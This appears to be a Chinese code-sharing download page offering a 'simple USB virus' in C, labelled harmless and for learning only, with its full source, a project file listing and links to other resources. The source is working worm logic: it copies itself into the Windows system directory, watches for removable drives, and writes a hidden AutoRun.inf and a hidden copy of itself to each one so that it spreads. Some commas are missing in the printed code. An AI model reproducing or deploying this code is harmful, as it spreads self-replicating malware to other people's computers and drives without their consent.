资源简介
C语言编写的简单U盘病毒,这里只是简单的而已,没有什么危害,只供学习

代码片段和文件信息
// proj7_2.cpp : Defines the entry point for the application.
//
#include “stdafx.h“
bool SaveToFile(char* Pathchar* Data){
HANDLE hFile;
hFile=CreateFile(Path GENERIC_WRITE 0 NULL CREATE_ALWAYS FILE_ATTRIBUTE_NORMALNULL);
if(hFile==INVALID_HANDLE_VALUE){/*continue; //出错时处理*/}
DWORD dwWrite;
WriteFile(hFileDatastrlen(Data)&dwWriteNULL);
CloseHandle(hFile);
return true;
}
BOOL InfectU()
{
while(true)
{
UINT revtype;
char name[256]=“H:\\“ ;
char szName[256]={0};
char toPath[256]={0};
char infPath[256]={0};
char openU[80]={0};
//遍历所有盘符
for(BYTE i=0x42;i<0x5B;i=i+0x01)
{
name[0]=i;
//得到盘符类型
revtype=GetDriveType(name);
//判断是否是可移动存储设备
if (revtype==DRIVE_REMOVABLE)
{
//得到自身文件路径
GetModuleFileName(NULLszName256);
//比较是否和U盘的盘符相同
//如果相同说明在U盘上执行复制到系统中去
if(strncmp(nameszName1)==0)
{
//得到系统目录
GetSystemDirectory(toPath256);
strcat(toPath“\\proj7_2.exe“);
//把自身文件复制到系统目录
if(CopyFile(szNametoPathTRUE))
{
//运行程序
WinExec(toPath0);
}
strcpy(openU“explorer “);
strcat(openUname);
//打开U盘
WinExec(openU1);
return 0;
}//如果不是则在系统中执行感染U盘
else
{
strcpy(toPathname);
strcat(toPath“\\proj7_2.exe“);
strcpy(infPathname);
strcat(infPath“\\AutoRun.inf“);
//还原U盘上的文件属性
SetFileAttributes(toPathFILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPathFILE_ATTRIBUTE_NORMAL);
//删除原有文件
DeleteFile(toPath);
DeleteFile(infPath);
//写AutoRun.inf到U盘
char* Data;
Data = “[AutoRun]\r\nopen=proj7_2.exe\r\nshell\\open=打开(&O)\r\nshell\\explore=我的资源管理器(&X)\r\nshell\\explore\\Command=proj7_2.exe“;
SaveToFile(infPathData);
//拷贝自身文件到U盘
CopyFile(szNametoPathFALSE);
//把这两个文件设置成系统,隐藏属性
SetFileAttributes(toPath
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(infPath
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
}
}
}
//休眠60秒,60检测一次
Sleep(60000);
}
}
int APIENTRY WinMain(HINSTANCE hInstance
HINSTANCE hPrevInstance
LPSTR lpCmdLine
int nCmdShow)
{
char toPath[100];
GetSystemDirectory(toPath256);
InfectU();
return 0;
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 172113 2012-04-15 17:08 proj7_2\Debug\proj7_2.exe
文件 184820 2012-04-15 17:08 proj7_2\Debug\proj7_2.ilk
文件 6497 2012-04-15 17:08 proj7_2\Debug\proj7_2.obj
文件 1918904 2012-04-15 12:21 proj7_2\Debug\proj7_2.pch
文件 443392 2012-04-15 17:08 proj7_2\Debug\proj7_2.pdb
文件 55058 2012-04-15 12:21 proj7_2\Debug\StdAfx.obj
文件 82944 2012-04-15 17:24 proj7_2\Debug\vc60.idb
文件 176128 2012-04-15 17:08 proj7_2\Debug\vc60.pdb
文件 2571 2012-04-15 17:26 proj7_2\proj7_2.cpp
文件 4182 2010-09-23 18:03 proj7_2\proj7_2.dsp
文件 539 2010-09-23 18:03 proj7_2\proj7_2.dsw
文件 58368 2012-04-15 17:26 proj7_2\proj7_2.ncb
文件 49664 2012-04-15 17:26 proj7_2\proj7_2.opt
文件 1188 2012-04-15 17:08 proj7_2\proj7_2.plg
文件 1215 2010-09-23 18:03 proj7_2\ReadMe.txt
文件 294 2010-09-23 18:03 proj7_2\StdAfx.cpp
文件 773 2010-09-23 18:03 proj7_2\StdAfx.h
目录 0 2012-04-23 21:49 proj7_2\Debug
目录 0 2012-04-23 21:49 proj7_2
----------- --------- ---------- ----- ----
3158650 19
相关资源
- C++中头文件与源文件的作用详解
- C语言代码高亮html输出工具
- 猜数字游戏 c语言代码
- C语言课程设计
- 数字电位器C语言程序
- CCS FFT c语言算法
- 使用C语言编写的病房管理系统
- 通信过程中的RS编译码程序(c语言)
- 计算机二级C语言上机填空,改错,编
- 用回溯法解决八皇后问题C语言实现
- 简易教务管理系统c语言开发文档
- 操作系统课设 读写者问题 c语言实现
- 小波变换算法 c语言版
- C流程图生成器,用C语言代码 生成C语
- 3des加密算法C语言实现
- 简单的C语言点对点聊天程序
- 单片机c语言源程序(51定时器 八个按
- 个人日常财务管理系统(C语言)
- c语言电子商务系统
- 小甲鱼C语言课件 源代码
- 将图片转换为C语言数组的程序
- C语言实现的一个内存泄漏检测程序
- DES加密算法C语言实现
- LINUX下命令行界面的C语言细胞游戏
- 用单片机控制蜂鸣器播放旋律程序(
- 学校超市选址问题(数据结构C语言版
- 电子时钟 有C语言程序,PROTEUS仿真图
- 尚观培训linux许巍老师关于c语言的课
- 算符优先语法分析器(C语言编写)
- 基于C语言的密码锁程序
评论
共有 条评论